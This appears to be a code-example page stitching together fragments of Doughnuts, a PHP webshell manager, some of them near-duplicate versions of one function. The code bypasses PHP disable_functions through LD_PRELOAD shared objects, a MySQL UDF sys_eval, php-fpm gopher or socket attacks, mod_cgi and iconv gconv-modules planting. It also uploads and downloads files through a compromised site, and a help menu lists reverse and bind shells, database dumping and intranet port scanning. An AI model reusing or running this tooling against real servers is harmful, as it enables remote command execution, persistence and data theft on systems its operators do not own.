            print(color.yellow(f"\nDetect plugin dir..."))
            plugin_dir_res = execute_sql_command(
                "show variables like '%plugin_dir%';", raw=True)
            if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
                plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
            else:
                print(color.red(f"\nCould not find plugin_dir"))
                return False
            print(color.yellow(f"\nMake plugin dir..."))
            phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
                plugin_dir, plugin_dir)
            res = send(phpcode)
            if (not res or "fail" in res.r_text):
                print(color.red(f"\nMake plugin dir failed!\n"))
                return False
            system = "windows" if (gget("webshell.iswin",
                                        "webshell")) else "linux"
            print("\nReference Information:",
                  gget("webshell.os_version", "webshell"))
            print("\nInput target system bits (32/64/exit): ", end="")
            bits = "64"
            _ = readline().strip()
            if (_ == "32"):
                bits = 32
            elif (_ in ["back", "exit", "quit"] or _ != "64"):
                return False
            udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so"
            udf_path = plugin_dir + "tmp" + udf_ext
            print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "udf", "mysql",
                          system, bits, "lib_mysqludf_sys" + udf_ext),
                udf_path, True)
            if (not upload_result):
                print(color.red("\nUpload failed\n"))
                return
            gset("webshell.udf_path", udf_path, True, "webshell")
            print(color.yellow(f"\nCreate function sys_eval..."))
            execute_sql_command(
                f"create function sys_eval returns string soname 'tmp{udf_ext}'",
                raw=True)
            test_res = execute_sql_command("select sys_eval('whoami');",
                                           raw=True)
            if (len(test_res) > 1 and len(test_res[1][0])):
                print(color.green(f"\nCreate funtion success"))
            else:
                print(color.red(f"\nCreate funtion failed\n"))
                return False
        else:
            print(
                color.red(
                    f"\nNo connection to database or dbms isn't mysql\n"))
            return False
    elif (mode == 10):  # php-fpm
        res = send("print(php_sapi_name());")
        if (not res or "fpm" not in res.r_text):
            print(color.red(f"\nTarget php not run by php-fpm!\n"))
            return False
        requirements_dict = {
            'host': '127.0.0.1',
            'port': 9000,
            "php_file": "/usr/local/lib/php/PEAR.php"
        }
        for k, v in requirements_dict.items():
            new_v = input(f"{k}[{v}]:")
            if k == 'port':
                new_v = new_v if new_v else v
                try:
                    new_v = int(new_v)
                except ValueError:
                    print(color.red(f"\nPort must be number!\n"))
                    return False
            if new_v:
                requirements_dict[k] = new_v
        attack_type = input("attack_type[gopher/sock]:").lower()
        if (attack_type not in ["gopher", "sock"]):
            return False
        if (attack_type == "sock"):
            sock_path = "/var/run/php7-fpm.sock"
            new_v = input(f"sock_path[{sock_path}]:")
            if new_v:
                sock_path = new_v
            gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell")
        gset("webshell.bdf_fpm.host", requirements_dict["host"], True,
             "webshell")
        gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True,
             "webshell")
        gset("webshell.bdf_fpm.php_file", requirements_dict["php_file"], True,
             "webshell")
        gset("webshell.bdf_fpm.type", attack_type, True, "webshell")
    if (not test):
        if (mode == 7):
            print(
                color.yellow(
                    f"\nYou may need to wait 1 second to get the result..\n"))
        print(
            f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
        )
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Esempio n. 23
0
 def helpmenu():
     namespace = gget("namespace")
     if (namespace == "main"):
         print(
             color.yellow("[?|help]           ") + color.cyan(
                 "Output the help document for the command or all help menu"
             ))
         print(
             color.yellow("[s|show]           ") +
             color.cyan("Show log webshells"))
         print(
             color.yellow("[se|show_encoders] ") +
             color.cyan("Show available encoders"))
         print(
             color.yellow("[sw|switch]        ") + color.cyan(
                 "(for input Non-alphanumeric) Switch input to raw input"))
         print(
             color.yellow("[gen|generate]     ") +
             color.cyan("Generate a webshell using doughnuts encoding"))
         print(
             color.yellow("[l|load]           ") +
             color.cyan("Load a webshell from log"))
         print(
             color.yellow("[c|connect]        ") +
             color.cyan("Connect to a webshell"))
         print(
             color.yellow("[check]            ") +
             color.cyan("Check if each webshell is alive"))
         print(
             color.yellow("[rm|remove]        ") +
             color.cyan("Remove a webshell log"))
         print(
             color.yellow("[log]              ") + color.cyan(
                 "(Only for *unix) Write input and output to the log"))
         print(
             color.yellow("[!|lsh]            ") +
             color.cyan("Run a command on local machine"))
         print(
             color.yellow("[proxy]            ") +
             color.cyan("Set proxy for requests"))
         print(
             color.yellow("[q|quit]           ") +
             color.cyan("Quit this program"))
     elif (namespace == "webshell"):
         print("\n[COMMON]\n")
         print(
             color.yellow("[?|help]       ") + color.cyan(
                 "Output the help document for the command or all help menu"
             ))
         print(
             color.yellow("[i|info]       ") +
             color.cyan("Show website information"))
         print(
             color.yellow("[env|getenv]   ") +
             color.cyan("print PHP environment variables by ini_get"))
         print(
             color.yellow("[ls|dir]       ") +
             color.cyan("List information about the files"))
         print(
             color.yellow("[cd]           ") +
             color.cyan("Change the working directory"))
         print(
             color.yellow("[pdf]          ") +
             color.cyan("Print disable functions"))
         print(
             color.yellow("[pwd]          ") +
             color.cyan("Print the name of the current working directory"))
         print(
             color.yellow("[!|lsh]        ") +
             color.cyan("Run a command on local machine"))
         print(
             color.yellow("[b|back]       ") +
             color.cyan("Back to main menu"))
         print(
             color.yellow("[q|quit]       ") +
             color.cyan("Quit this program"))
         print("\n[SHELL]\n")
         print(
             color.yellow("[bs|bindshell] ") + color.cyan(
                 "Bind a port and wait for someone to connect to get a shell"
             ))
         print(
             color.yellow("[re|reverse]   ") + color.cyan("Reverse shell"))
         print(
             color.yellow("[rs|reshell]   ") + color.cyan(
                 "(Only for both system is linux) (Testing command) Bind a local port and waiting for target connect back to get a full shell"
             ))
         print(
             color.yellow("[s|shell]      ") + color.cyan(
                 "Get a temporary shell of target system by system function or just run a shell command"
             ))
         print(
             color.yellow("[ws|webshell]  ") + color.cyan(
                 "Get a webshell of target system or just run a webshell command"
             ))
         print(
             color.yellow("[exec|execute] ") +
             color.cyan("Execute custom php code"))
         print("\n[FILE]\n")
         print(color.yellow("[c|cat]        ") + color.cyan("Read file(s)"))
         print(color.yellow("[w|write]      ") + color.cyan("Write file"))
         print(color.yellow("[e|edit]       ") + color.cyan("Modify file"))
         print(color.yellow("[u|upload]     ") + color.cyan("Upload file"))
         print(
             color.yellow("[d|download]   ") + color.cyan("Download file"))
         print(
             color.yellow("[mv|move]      ") +
             color.cyan("Rename file or move it to new_file_path"))
         print(
             color.yellow("[rm|remove]    ") +
             color.cyan("Delete target system file(s)"))
         print(
             color.yellow("[chmod]        ") +
             color.cyan("(Only for *unix) Changes file mode"))
         print(
             color.yellow("[t|touch]      ") + color.cyan(
                 "Create an empty file or (Only for *unix) Specify a file whose modification time stamp is the same as a random file in the current directory"
             ))
         print(
             color.yellow("[dump]         ") + color.cyan(
                 "Package and compress files in a folder and download it"))
         print("\n[DETECT]\n")
         print(
             color.yellow("[search]       ") + color.cyan(
                 "Search file(s) from target system (Support regular expression)"
             ))
         print(
             color.yellow("[fwpf]         ") +
             color.cyan("Search writable php file"))
         print(
             color.yellow("[fc]           ") +
             color.cyan("Search config file"))
         print(
             color.yellow("[fl]           ") +
             color.cyan("Search log file (access.log,error.log)"))
         print("\n[DATABASE]\n")
         print(
             color.yellow("[db_init]      ") +
             color.cyan("Initialize the database connection"))
         print(
             color.yellow("[db_info]      ") +
             color.cyan("Output database information"))
         print(
             color.yellow("[db_use]       ") +
             color.cyan("Change current database"))
         print(
             color.yellow("[db_dbs]       ") +
             color.cyan("Output all databases"))
         print(
             color.yellow("[db_tables]    ") +
             color.cyan("Output all tables of a database"))
         print(
             color.yellow("[db_columns]   ") +
             color.cyan("Output all columns of a table"))
         print(
             color.yellow("[db_shell]     ") +
             color.cyan("Get a temporary sql shell of target system"))
         print(
             color.yellow("[db_dump]      ") +
             color.cyan("Dump a database to a file"))
         print("\n[OTHER]\n")
         print(color.yellow("[cls|clear]    ") + color.cyan("Clear screen"))
         print(
             color.yellow("[log]              ") + color.cyan(
                 "(Only for *unix) Write input and output to the log"))
         print(
             color.yellow("[sw|switch]    ") + color.cyan(
                 "(for input Non-alphanumeric) Switch input to raw input"))
         print(
             color.yellow("[ag|agent]     ") + color.cyan("Intranet agent"))
         print(
             color.yellow("[bobd]         ") + color.cyan(
                 "(Only for *unix) Try to bypass open_basedir by ini_set and chdir"
             ))
         print(
             color.yellow("[bdf]          ") +
             color.cyan("Try to bypass disable_functions"))
         print(
             color.yellow("[proxy]            ") +
             color.cyan("Set proxy for requests"))
         print(
             color.yellow("[ps|portscan]  ") +
             color.cyan("Scan intranet ports"))
         print(
             color.yellow("[socks]        ") + color.cyan(
                 "(Only for *unix) Run a socks5 server on the target system by python"
             ))
         print()
Esempio n. 24
0
def run(file_path: str,
        web_file_path: str = "",
        force: bool = False,
        blocksize: int = 1024):
    """
    mupload

    Upload file by block compression and multi threads.

    eg: mupload {file_path} {web_file_path=file_name} {force=False} {blocksize=1024}
    """
    flag = True
    if (not web_file_path):
        web_file_path = path.basename(file_path)
        flag = False
    if (not path.isfile(file_path)):
        print(color.red("\n[Failed] Local File not exist\n"))
        return
    res = send(get_php_force(web_file_path, force))
    if (not res):
        return
    text = res.r_text.strip()
    if (text == "exist"):
        print(color.red("\n[Failed] File is already exist\n"))
        return
    elif (text == "not writable"):
        print(color.red("\n[Failed] File path not writable\n"))
        return
    global UPLOAD_SUCCESS
    UPLOAD_SUCCESS = True
    decode_retry_time = 5
    with open(file_path, "rb+") as fp, ThreadPoolExecutor() as tp:
        fdata = fp.read()
        file_md5_hash = md5_encode(fdata)
        print(
            color.yellow(
                f"\n[Try] Upload {file_path} HASH: {file_md5_hash} \n"))
        tdata = b64encode(gzdeflate(fdata)).decode()
        all_task = []
        for n, i in enumerate(range(0, len(tdata), blocksize)):
            all_task.append(
                tp.submit(thread_upload, web_file_path, tdata[i:i + blocksize],
                          n, blocksize))
        count = len(all_task)
        wait(all_task, return_when=FIRST_EXCEPTION)
        for task in reversed(all_task):
            task.cancel()
        wait(all_task, return_when=ALL_COMPLETED)
        if (not UPLOAD_SUCCESS):
            return
        while decode_retry_time:
            res = send(get_php_decode(web_file_path, count))
            if (not res):
                return
            text = res.r_text.strip()
            if "success" in text:
                if (flag):
                    print(
                        color.green(
                            f"\n[Success] Upload {file_path} as {web_file_path} success"
                        ))
                else:
                    print(
                        color.green(
                            f"\n[Success] Upload {web_file_path} success"))
                check_md5_hash = text.split(" ")[1]
                if (check_md5_hash == file_md5_hash):
                    print(color.green(f"[Success] Hash check\n"))
                else:
                    print(color.red(f"[Failed] Hash check\n"))
                return True
            else:
                print(
                    color.red(
                        f"\n[Failed] Upload error / Request error, retry..."))
                decode_retry_time -= 1
Esempio n. 25
0
import builtins
from os import path
from sys import argv

from helpmenu import register_helpmenu
from libs.app import Loop_init, run_loop
from libs.config import color, gset, gget
from libs.debug import DEBUG
from libs.myapp import banner


if (DEBUG["DEV"]):
    print(color.yellow("\nDEV MODE"))
    try:
        from icecream import ic
        print(color.yellow("builtin ic functions\nuse it to inspect objects\n"))
        builtins.ic = ic
    except ImportError:
        print(color.red("iceream module is not install\n"))


def main(print_banner: bool = True):
    if (print_banner):
        banner()
    gset("root_path", path.split(path.realpath(__file__))[0])
    with open(path.join(gget("root_path"), "auxiliary", "user_agents", "ua.txt"), "r") as f:
        gset("user_agents", f.readlines())
    register_helpmenu()
    run_loop(My_Loop_init(), leave_message="Bye! Doughnuts:)")

Esempio n. 26
0
def run(web_file_path: str,
        local_path: str = "",
        humansize: str = "1MB",
        threads: int = 5) -> bool:
    """
    mdownload

    Download file from target system by block compression and multi threads.

    eg: mdownload {web_file_path} {local_path=doughnuts/target/site.com/...} {humansize="1MB",eg="10MB"} {threads=5}
    """
    global LOCK, DOWNLOAD_SUCCESS
    res = send(get_filesize_php(web_file_path))
    if (not res):
        return
    try:
        file_size = int(res.r_text.strip())
    except ValueError:
        file_size = 0
    try:
        blocksize = human_to_size(humansize)
    except Exception:
        blocksize = file_size // 10
        print(
            color.yellow(
                f"[Warn] Parse humansize error, set it to {size_to_human(blocksize)}"
            ))
    if (blocksize < file_size / 1000):
        blocksize = file_size // 100
        print(
            color.yellow(
                f"[Warn] Humansize too small, set it to {size_to_human(blocksize)}"
            ))
    file_human_size = color.green(size_to_human(file_size))
    if (file_size):
        download_path = local_path or gget("webshell.download_path",
                                           "webshell")
        file_path = path.join(download_path,
                              path.split(web_file_path)[1]).replace("\\", "/")
        content_length = 0
        chunk_dict = {}
        with ThreadPoolExecutor(max_workers=threads) as tp, tqdm(
                total=file_size, desc="Downloading", unit_scale=True) as bar:
            all_task = [
                tp.submit(get_data, web_file_path, n, offset, blocksize)
                for n, offset in enumerate(range(0, file_size, blocksize))
            ]
            for future in as_completed(all_task):
                n, chunk = future.result()
                if (chunk):
                    chunk_dict[n] = chunk
                    with LOCK:
                        content_length += blocksize
                        bar.update(blocksize)
                else:
                    DOWNLOAD_SUCCESS = False
                    break
            if (not DOWNLOAD_SUCCESS):
                for task in reversed(all_task):
                    task.cancel()
                bar.close()
                return
        with open(file_path, "wb") as fp, tqdm(total=file_size,
                                               desc="Decompressing",
                                               unit_scale=True) as bar:
            for i in range(len(all_task)):
                content = gzinflate(b64decode(chunk_dict[i]))
                fp.write(content)
                fp.flush()
                bar.update(blocksize)
        print(
            color.green(f"\nDownloaded file has been saved to {file_path}\n"))
    else:
        print(color.red("\nFile not exist / Download error\n"))
        return ''
Esempio n. 27
0
def run(file_path: str,
        web_file_path: str = "",
        force: bool = False,
        humansize: str = "1MB",
        threads: int = 5):
    """
    mupload

    Upload file by block compression and multi threads.

    eg: mupload {file_path} {web_file_path=file_name} {force=False} {humansize="1MB",eg="10MB"} {threads=5}
    """
    flag = True
    if (not web_file_path):
        web_file_path = path.basename(file_path)
        flag = False
    if (not path.isfile(file_path)):
        print(color.red("\n[Failed] Local File not exist\n"))
        return
    res = send(get_php_force(web_file_path, force))
    if (not res):
        return
    text = res.r_text.strip()
    if (text == "exist"):
        print(color.red("\n[Failed] File is already exist\n"))
        return
    elif (text == "not writable"):
        print(color.red("\n[Failed] File path not writable\n"))
        return
    global UPLOAD_SUCCESS, BAR, BLOCKSIZE, ALL_TASK
    UPLOAD_SUCCESS = True
    decode_retry_time = 5
    tlen = path.getsize(file_path)
    ALL_TASK = []
    count = 0
    print(color.yellow(f"\n[Try] Upload {file_path}\n"))
    BAR = tqdm(total=tlen, desc="Uploading", unit_scale=True)
    try:
        BLOCKSIZE = human_to_size(humansize)
    except Exception:
        BLOCKSIZE = tlen // 10
        print(
            color.yellow(
                f"[Warn] Parse humansize error, set it to {size_to_human(BLOCKSIZE)}"
            ))
    if (BLOCKSIZE < tlen / 1000):
        BLOCKSIZE = tlen // 100
        print(
            color.yellow(
                f"[Warn] Humansize too small, set it to {size_to_human(BLOCKSIZE)}"
            ))
    with open(file_path,
              "rb+") as fp, ThreadPoolExecutor(max_workers=threads) as tp:
        for n, i in enumerate(range(0, tlen, BLOCKSIZE)):
            future = tp.submit(
                thread_upload, web_file_path,
                b64encode(gzdeflate(fp.read(BLOCKSIZE))).decode(), n,
                BLOCKSIZE)
            future.add_done_callback(update)
            ALL_TASK.append(future)
            count += 1
        wait(ALL_TASK, return_when=ALL_COMPLETED)
        sleep(2)
        if (not UPLOAD_SUCCESS):
            clean_result = clean(web_file_path, count)
            if (clean_result):
                print(
                    color.yellow("\n[Success] Upload error, Clean tmpfile\n"))
            return
        BAR.close()
        while decode_retry_time:
            res = send(get_php_decode(web_file_path, count))
            if (not res):
                return
            text = res.r_text.strip()
            if "success" in text:
                if (flag):
                    print(
                        color.green(
                            f"\n[Success] Upload {file_path} as {web_file_path} success\n"
                        ))
                else:
                    print(
                        color.green(
                            f"\n[Success] Upload {web_file_path} success\n"))
                break
            else:
                print(
                    color.red(
                        f"\n[Failed] Upload error / Request error, retry..."))
                decode_retry_time -= 1
        if (not decode_retry_time):
            clean_result = clean(web_file_path, count)
            if (clean_result):
                print(
                    color.yellow("\n[Success] Upload error, Clean tmpfile\n"))
Esempio n. 28
0
def set_mode(mode: int, test: bool = False):
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension\n"))
            return False
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
                               False)):  # ld_preload
        if is_windows():
            print(color.red("\nNo ld_preload function!\n"))
            return False

        disable_funcs = gget("webshell.disable_functions", "webshell")

        # can't work if putenv is disabled
        if ("putenv" in disable_funcs):
            print(color.red("\nputenv is disabled\n"))
            return False

        # check if already set ld_preload
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            # get ld_preload trigger function
            available_trigger_funcs = [
                'mail', 'error_log', 'mb_send_mail', 'imap_mail'
            ]
            ld_preload_funcs = [
                f for f in available_trigger_funcs if f not in disable_funcs
            ]
            if (not ld_preload_funcs):
                print(color.red("\nNo ld_preload function!\n"))
                return False
            ld_preload_func = choice(ld_preload_funcs)

            # get target architecture
            bits = gget("webshell.arch", namespace="webshell")
            if not bits:
                print("\nInput target system bits (32/64): ", end="")
                _ = readline().strip()
                if (_ == "32"):
                    bits = 32
                elif (_ == "64"):
                    bits = 64
                else:
                    print(color.red("\nUnknown bits\n"))
                    return False
            bits = str(bits)
            if bits == "32":
                bits = "86"
            # upload so
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "ld_preload",
                          "ld_preload_x" + bits + ".so"), filename, True)
            if (not upload_result):
                print(color.red("\nUpload error\n"))
                return

            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")

    elif (mode == 8):  # udf
        if (gget("db_connected", "webshell")
                and gget("db_dbms", "webshell") == "mysql"):
            # detect plugin dir
            print(color.yellow(f"\nDetect plugin dir..."))
            plugin_dir_res = execute_sql_command(
                "show variables like '%plugin_dir%';", raw=True)
            if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
                plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
            else:
                print(color.red(f"\nCould not find plugin_dir"))
                return False

            # make plugin dir
            print(color.yellow(f"\nMake plugin dir..."))
            phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
                plugin_dir, plugin_dir)
            res = send(phpcode)
            if (not res or "fail" in res.r_text):
                print(color.red(f"\nMake plugin dir failed!\n"))
                return False

            system = "windows" if is_windows() else "linux"
            print("\nReference Information:",
                  gget("webshell.os_version", "webshell"))

            bits = gget("webshell.arch", namespace="webshell")
            if not bits:
                print("\nInput target system bits (32/64): ", end="")
                _ = readline().strip()
                if (_ == "32"):
                    bits = 32
                elif (_ == "64"):
                    bits = 64
                elif (_ in ["back", "exit", "quit"]):
                    return False
                else:
                    print(color.red("\nUnknown bits\n"))
                    return False
            bits = str(bits)

            # upload so / dll
            udf_ext = ".dll" if is_windows() else ".so"
            udf_path = plugin_dir + "tmp" + udf_ext
            print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
            upload_result = upload(path.join(gget("root_path"), "auxiliary",
                                             "udf", "mysql", system, bits,
                                             "lib_mysqludf_sys" + udf_ext),
                                   udf_path,
                                   force=True)
            if (not upload_result):
                print(color.red("\nUpload failed\n"))
                return
            gset("webshell.udf_path", udf_path, True, "webshell")

            # create function sys_eval
            print(color.yellow(f"\nCreate function sys_eval..."))
            execute_sql_command(
                f"create function sys_eval returns string soname 'tmp{udf_ext}'",
                raw=True)
            test_res = execute_sql_command("select sys_eval('whoami');",
                                           raw=True)
            if (len(test_res) > 1 and len(test_res[1][0])):
                print(color.green(f"\nCreate funtion success"))
            else:
                print(color.red(f"\nCreate funtion failed\n"))
                return False

        else:
            print(
                color.red(
                    f"\nNo connection to database or dbms isn't mysql\n"))
            return False
    elif (mode == 10):  # php-fpm
        res = send("print(php_sapi_name());")
        if (not res or "fpm" not in res.r_text):
            print(color.red(f"\nTarget php not run by php-fpm!\n"))
            return False
        requirements_dict = {'host': '127.0.0.1', 'port': 9000}
        attack_type = input(
            "attack_type[gopher(need curl extension)/sock/http_sock]:").lower(
            )
        if (attack_type not in ["gopher", "sock", "http_sock"]):
            return False

        gset("webshell.bdf_fpm.type", attack_type, True, "webshell")

        # input sock path
        if (attack_type == "sock"):
            sock_path = "/var/run/php7-fpm.sock"
            new_v = input(f"sock_path[{sock_path}]:")
            if new_v:
                sock_path = new_v
            gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell")
        else:
            # input fpm http host and port
            for k, v in requirements_dict.items():
                new_v = input(f"{k}[{v}]:")
                if k == 'port':
                    new_v = new_v if new_v else v
                    try:
                        new_v = int(new_v)
                    except ValueError:
                        print(color.red(f"\nport must be number\n"))
                        return False
                if new_v:
                    requirements_dict[k] = new_v
            gset("webshell.bdf_fpm.host", requirements_dict["host"], True,
                 "webshell")
            gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True,
                 "webshell")
    elif (mode == 11):  # apache-mod-cgi
        res = send("""$f=in_array('mod_cgi', apache_get_modules());
$f2=is_writable('.');
$f3=!empty($_SERVER['HTACCESS']);
if(!$f){
    die("Mod-Cgi not enabled");
} else if (!$f2) {
    die("Current directory not writable");
}
print("success");""")
        if (res.r_text != "success"):
            print(color.red(f"\n{res.r_text}\n"))
            return False
    elif (mode == 12 and
          not gget("webshell.ld_preload_path", "webshell", False)):  # iconv

        disable_funcs = gget("webshell.disable_functions", "webshell")

        # can't work if putenv is disabled
        if ("putenv" in disable_funcs):
            print(color.red("\nputenv is disabled\n"))
            return False

        # check if already set ld_preload
        if (not gget("webshell.iconv_path", "webshell", None)):
            filename = "/tmp/%s" % str(uuid4())

            # get target architecture
            bits = gget("webshell.arch", namespace="webshell")
            if not bits:
                print("\nInput target system bits (32/64): ", end="")
                _ = readline().strip()
                if (_ == "32"):
                    bits = 32
                elif (_ == "64"):
                    bits = 64
                else:
                    print(color.red("\nUnknown bits\n"))
                    return False
            bits = str(bits)
            if bits == "32":
                bits = "86"
            # upload so
            upload_result = upload(path.join(gget("root_path"), "auxiliary",
                                             "iconv",
                                             "iconv_x" + bits + ".so"),
                                   filename + ".so",
                                   force=True)
            if (not upload_result):
                print(color.red("\nUpload error\n"))
                return

            gconv_modules = f"""module  PAYLOAD//    INTERNAL    ../../../../../../../..{filename}    2
module  INTERNAL    PAYLOAD//    ../../../../../../../..{filename}    2"""
            send(
                f"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));"
            )

            gset("webshell.iconv_path", filename + ".so", True, "webshell")
            gset("webshell.iconv_gconv_modules_path", "/tmp/gconv-modules",
                 True, "webshell")
    if (not test):
        if (mode in (7, 10, 12)):
            print(
                color.yellow(
                    f"\nYou may need to wait 1 second to get the result..\n"))
        print(
            f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
        )
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Esempio n. 29
0
def set_mode(mode: int, test: bool = False):
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
                               False)):  # ld_preload
        disable_func_list = gget("webshell.disable_functions", "webshell")
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "ld_preload",
                          "ld_preload_x86_64.so"), filename, True)
            if (not upload_result):
                return
            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
            if ("putenv" in disable_func_list):
                print(color.red("\nputenv is disabled\n"))
                return False
            if (not ld_preload_func):
                print(color.red("\nNo ld_preload function!\n"))
                return False
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension\n"))
            return False
    if (mode == 8):  # udf
        if (gget("db_connected", "webshell")
                and gget("db_dbms", "webshell") == "mysql"):
            print(color.yellow(f"\nDetect plugin dir..."))
            plugin_dir_res = execute_sql_command(
                "show variables like '%plugin_dir%';", raw=True)
            if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
                plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
            else:
                print(color.red(f"\nCould not find plugin_dir"))
                return False
            print(color.yellow(f"\nMake plugin dir..."))
            phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
                plugin_dir, plugin_dir)
            res = send(phpcode)
            if (not res or "fail" in res.r_text):
                print(color.red(f"\nMake plugin dir failed!\n"))
                return False
            system = "windows" if (gget("webshell.iswin",
                                        "webshell")) else "linux"
            print("\nReference Information:",
                  gget("webshell.os_version", "webshell"))
            print("\nInput target system bits (32/64/exit): ", end="")
            bits = "64"
            _ = readline().strip()
            if (_ == "32"):
                bits = 32
            elif (_ in ["back", "exit", "quit"] or _ != "64"):
                return False
            udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so"
            udf_path = plugin_dir + "tmp" + udf_ext
            print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "udf", "mysql",
                          system, bits, "lib_mysqludf_sys" + udf_ext),
                udf_path, True)
            if (not upload_result):
                print(color.red("\nUpload failed\n"))
                return
            gset("webshell.udf_path", udf_path, True, "webshell")
            print(color.yellow(f"\nCreate function sys_eval..."))
            execute_sql_command(
                f"create function sys_eval returns string soname 'tmp{udf_ext}'",
                raw=True)
            test_res = execute_sql_command("select sys_eval('whoami');",
                                           raw=True)
            if (len(test_res) > 1 and len(test_res[1][0])):
                print(color.green(f"\nCreate funtion success"))
            else:
                print(color.red(f"\nCreate funtion failed\n"))
                return False
        else:
            print(
                color.red(
                    f"\nNo connection to database or dbms isn't mysql\n"))
            return False
    if (not test):
        if (mode == 7):
            print(
                color.yellow(
                    f"\nYou may need to wait 1 second to get the result..\n"))
        print(
            f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
        )
        gset("webshell.bypass_df", mode, True, "webshell")
    return True